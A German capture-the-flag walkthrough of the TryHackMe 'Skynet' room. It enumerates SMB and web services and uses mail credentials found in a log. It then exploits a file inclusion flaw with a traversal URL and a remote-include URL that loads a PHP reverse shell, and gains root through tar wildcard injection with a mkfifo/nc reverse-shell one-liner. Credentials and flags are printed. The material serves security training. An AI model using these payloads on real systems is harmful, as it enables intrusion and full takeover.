https://tryhackme.com/room/skynet

Task 1 Deploy and compromise the vulnerable machine!

Frage 1:
What is Miles password for his emails?

Wir starten mit einem einfachen nmap Scan:

└─$ nmap 10.10.68.67    
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-17 17:59 CET
Nmap scan report for 10.10.68.67
Host is up (0.068s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
110/tcp open  pop3
139/tcp open  netbios-ssn
143/tcp open  imap
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 2.92 seconds

Wer hätte es gedacht, ein Emailservice ist vorhanden! Weiter geht es mit der Enumeration und SMBMap:

└─$ smbmap -H 10.10.68.67
[+] Guest session       IP: 10.10.68.67:445     Name: 10.10.68.67                                       
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        anonymous                                               READ ONLY       Skynet Anonymous Share
        milesdyson                                              NO ACCESS       Miles Dyson Personal Share
        IPC$                                                    NO ACCESS       IPC Service (skynet server (Samba, Ubuntu))

Ein Anonymous Share mit Read Only, perfekt um uns einzuloggen und das Verzeichnis zu durchsuchen. Das Passwort lassen wir leer und drücken einfach Enter:

└─$ smbclient //10.10.68.67/anonymous                
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Nov 26 17:04:00 2020
  ..                                  D        0  Tue Sep 17 09:20:17 2019
  attention.txt                       N      163  Wed Sep 18 05:04:59 2019
  logs                                D        0  Wed Sep 18 06:42:16 2019

                9204224 blocks of size 1024. 5831532 blocks available
smb: \> get attention.txt
getting file \attention.txt of size 163 as attention.txt (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
smb: \> cd logs
smb: \logs\> ls
  .                                   D        0  Wed Sep 18 06:42:16 2019
  ..                                  D        0  Thu Nov 26 17:04:00 2020
  log2.txt                            N        0  Wed Sep 18 06:42:13 2019
  log1.txt                            N      471  Wed Sep 18 06:41:59 2019
  log3.txt                            N        0  Wed Sep 18 06:42:16 2019

                9204224 blocks of size 1024. 5831528 blocks available
smb: \logs\> get log1.txt
getting file \logs\log1.txt of size 471 as log1.txt (1.4 KiloBytes/sec) (average 1.0 KiloBytes/sec)

Attention.txt hatte leider keine tollen Informationen für uns, dafür aber log1.txt! Das sieht doch aus wie Passwörter. Leider hat Brute Force mit Hydra mich hier nicht weitergebracht, also versuchen wir einen anderen Weg. Sehen wir mal welche Verzeichnisse auf dem Webserver sind und starten Gobuster:

└─$ gobuster dir -u 10.10.68.67 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.68.67
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2022/11/17 18:29:37 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 301) [Size: 310] [--> http://10.10.68.67/admin/]
/css                  (Status: 301) [Size: 308] [--> http://10.10.68.67/css/]
/js                   (Status: 301) [Size: 307] [--> http://10.10.68.67/js/]
/config               (Status: 301) [Size: 311] [--> http://10.10.68.67/config/]
/ai                   (Status: 301) [Size: 307] [--> http://10.10.68.67/ai/]
/squirrelmail         (Status: 301) [Size: 317] [--> http://10.10.68.67/squirrelmail/]
/server-status        (Status: 403) [Size: 276]
Progress: 220390 / 220561 (99.92%)===============================================================
2022/11/17 18:33:49 Finished
===============================================================

Squirrelmail, Bingo! Öffnen wir den Link in unserem Browser:

Versuchen wir die Passwörter aus log1.txt und als Benutzername den enumerierten „milesdyson“.

Antwort 1:
cyborg007haloterminator

Frage 2:
What is the hidden directory?

Die erste Email in dem Postfach ist die Interessant, hier erhalten wir ein neues SMB Passwort. Das erklärt auch, warum ich vorher mit Hydra kein Glück hatte.

Loggen wir uns also via SMB ein und benutzen unser neues Passwort :

)s{A&2Z=F^n_E.B`
└─$ smbclient //10.10.68.67/milesdyson -U milesdyson
Password for [WORKGROUP\milesdyson]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Sep 17 11:05:47 2019
  ..                                  D        0  Wed Sep 18 05:51:03 2019
  Improving Deep Neural Networks.pdf      N  5743095  Tue Sep 17 11:05:14 2019
  Natural Language Processing-Building Sequence Models.pdf      N 12927230  Tue Sep 17 11:05:14 2019
  Convolutional Neural Networks-CNN.pdf      N 19655446  Tue Sep 17 11:05:14 2019
  notes                               D        0  Tue Sep 17 11:18:40 2019
  Neural Networks and Deep Learning.pdf      N  4304586  Tue Sep 17 11:05:14 2019
  Structuring your Machine Learning Project.pdf      N  3531427  Tue Sep 17 11:05:14 2019

                9204224 blocks of size 1024. 5796908 blocks available
smb: \> cd notes
smb: \notes\> ls
  .                                   D        0  Tue Sep 17 11:18:40 2019
  ..                                  D        0  Tue Sep 17 11:05:47 2019
  3.01 Search.md                      N    65601  Tue Sep 17 11:01:29 2019
  4.01 Agent-Based Models.md          N     5683  Tue Sep 17 11:01:29 2019
  2.08 In Practice.md                 N     7949  Tue Sep 17 11:01:29 2019
  0.00 Cover.md                       N     3114  Tue Sep 17 11:01:29 2019
  1.02 Linear Algebra.md              N    70314  Tue Sep 17 11:01:29 2019
  important.txt                       N      117  Tue Sep 17 11:18:39 2019
  6.01 pandas.md                      N     9221  Tue Sep 17 11:01:29 2019
  3.00 Artificial Intelligence.md      N       33  Tue Sep 17 11:01:29 2019
  2.01 Overview.md                    N     1165  Tue Sep 17 11:01:29 2019
  3.02 Planning.md                    N    71657  Tue Sep 17 11:01:29 2019
  1.04 Probability.md                 N    62712  Tue Sep 17 11:01:29 2019
  2.06 Natural Language Processing.md      N    82633  Tue Sep 17 11:01:29 2019
  2.00 Machine Learning.md            N       26  Tue Sep 17 11:01:29 2019
  1.03 Calculus.md                    N    40779  Tue Sep 17 11:01:29 2019
  3.03 Reinforcement Learning.md      N    25119  Tue Sep 17 11:01:29 2019
  1.08 Probabilistic Graphical Models.md      N    81655  Tue Sep 17 11:01:29 2019
  1.06 Bayesian Statistics.md         N    39554  Tue Sep 17 11:01:29 2019
  6.00 Appendices.md                  N       20  Tue Sep 17 11:01:29 2019
  1.01 Functions.md                   N     7627  Tue Sep 17 11:01:29 2019
  2.03 Neural Nets.md                 N   144726  Tue Sep 17 11:01:29 2019
  2.04 Model Selection.md             N    33383  Tue Sep 17 11:01:29 2019
  2.02 Supervised Learning.md         N    94287  Tue Sep 17 11:01:29 2019
  4.00 Simulation.md                  N       20  Tue Sep 17 11:01:29 2019
  3.05 In Practice.md                 N     1123  Tue Sep 17 11:01:29 2019
  1.07 Graphs.md                      N     5110  Tue Sep 17 11:01:29 2019
  2.07 Unsupervised Learning.md       N    21579  Tue Sep 17 11:01:29 2019
  2.05 Bayesian Learning.md           N    39443  Tue Sep 17 11:01:29 2019
  5.03 Anonymization.md               N     2516  Tue Sep 17 11:01:29 2019
  5.01 Process.md                     N     5788  Tue Sep 17 11:01:29 2019
  1.09 Optimization.md                N    25823  Tue Sep 17 11:01:29 2019
  1.05 Statistics.md                  N    64291  Tue Sep 17 11:01:29 2019
  5.02 Visualization.md               N      940  Tue Sep 17 11:01:29 2019
  5.00 In Practice.md                 N       21  Tue Sep 17 11:01:29 2019
  4.02 Nonlinear Dynamics.md          N    44601  Tue Sep 17 11:01:29 2019
  1.10 Algorithms.md                  N    28790  Tue Sep 17 11:01:29 2019
  3.04 Filtering.md                   N    13360  Tue Sep 17 11:01:29 2019
  1.00 Foundations.md                 N       22  Tue Sep 17 11:01:29 2019

                9204224 blocks of size 1024. 5796908 blocks available
smb: \notes\> get important.txt
getting file \notes\important.txt of size 117 as important.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)

Zwischen den ganzen Dateien finden wir das „notes“ Verzeichnis, in das wir wechseln. Dort angekommen werden wir wieder von unzähligen Dateien übermannt, es sticht aber „important.txt“ heraus. Laden wir die Datei mal herunter:

Antwort 2:
/45kra24zxs28v3yd

Frage 3:
What is the vulnerability called when you can include a remote file for malicious purposes?

Antwort 3:
remote file inclusion

Frage 4:
What is the user flag?

Das Hidden Directory enthält nur einen kurzen Steckbrief:

Eine Sackgasse? Versuchen wir unser Glück noch mal mit Gobuster:

└─$ gobuster dir -u 10.10.68.67/45kra24zxs28v3yd -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.68.67/45kra24zxs28v3yd
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2022/11/17 19:19:10 Starting gobuster in directory enumeration mode
===============================================================
/administrator        (Status: 301) [Size: 335] [--> http://10.10.68.67/45kra24zxs28v3yd/administrator/]
Progress: 220333 / 220561 (99.90%)===============================================================
2022/11/17 19:23:26 Finished
===============================================================

Und tatsächlich finden wir ein Verzeichnis, das führt uns hier hin:

Eine kurze Suche in der Exploit Database führt uns auch zu einem Exploit.

Fügen wir unsere URL und den Exploit zusammen:

http://10.10.68.67/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

Und siehe da, wir erhalten die Ausgabe, der Exploit funktioniert also:

Im Exploit, über dem obigen Beispiel, steht auch ein Beispiel, um auf Dateien auf einem Webserver zuzugreifen. Das machen wir uns nun zu Nutze und starten eine Reverse Shell. Dazu laden wir wieder Pentestmonkeys Script herunter und ändern in den Zeilen 49 und 50 die Daten:

$ip = 'THM_IP';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

Als nächstes starten wir einen Webserver (im Verzeichnis unseres Scripts):

python3 -m http.server 80 

…und einen Listener:

nc -lvnp 1234

Wieder passen wir den Exploit an:

http://10.10.68.67/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.8.2.163/shell1.php?

Und wir haben unsere Shell!

$ ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$ cd home
$ ls
milesdyson
$ cd milesdyson
$ ls
backups
mail
share
user.txt
$ cat user.txt
7ce5c2109a40f958099283600a9ae807

Antwort 4:
7ce5c2109a40f958099283600a9ae807

Frage 5:
What is the root flag?

Nachdem wir uns etwas umgesehen haben sehen wir, dass ein automatischer Prozess auf der Machine stattfindet:

$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
*/1 *   * * *   root    /home/milesdyson/backups/backup.sh
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
$ 

Jede Minute wird ein Backup erstellt, das gucken wir uns näher an:

$ cd backups
$ ls
backup.sh
backup.tgz
$ cat backup.sh
#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *
$ 

Alles im html Verzeichnis wird jede Minute in die backup.tgz Datei gespeichert.

DIe .tgz Datei hat ein Sternchen am Ende, das steht für eine Wildcard. Hier können wir einen (bzw. drei) Befehl(e) erstellen, welche(r) Wildcards ausnutzt(en) und uns mit einer root Shell anruft:

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc THM_IP 4444 >/tmp/f" > shell.sh 

touch "/var/www/html/--checkpoint-action=exec=sh shell.sh" 

touch "/var/www/html/--checkpoint=1"

Vorher müssen wir noch einen Listener starten:

nc -lvnp 4444

Jetzt navigieren wir in das Verzeichnis var/www/html und führen unser Script aus (jede Zeile einzeln). Nun heißt es warten, bis wir unseren Anruf erhalten.

Ncat: Connection from 10.10.68.67:51670.
/bin/sh: 0: can't access tty; job control turned off
# whoami
root

Jetzt gehen wir ein paar Verzeichnisse zurück und wechseln ins root Verzeichnis, dort finden wir die Flag:

# cd root
# ls
root.txt
# cat root.txt
3f0372db24753accc7179a282cd6a949

Antwort 5:
3f0372db24753accc7179a282cd6a949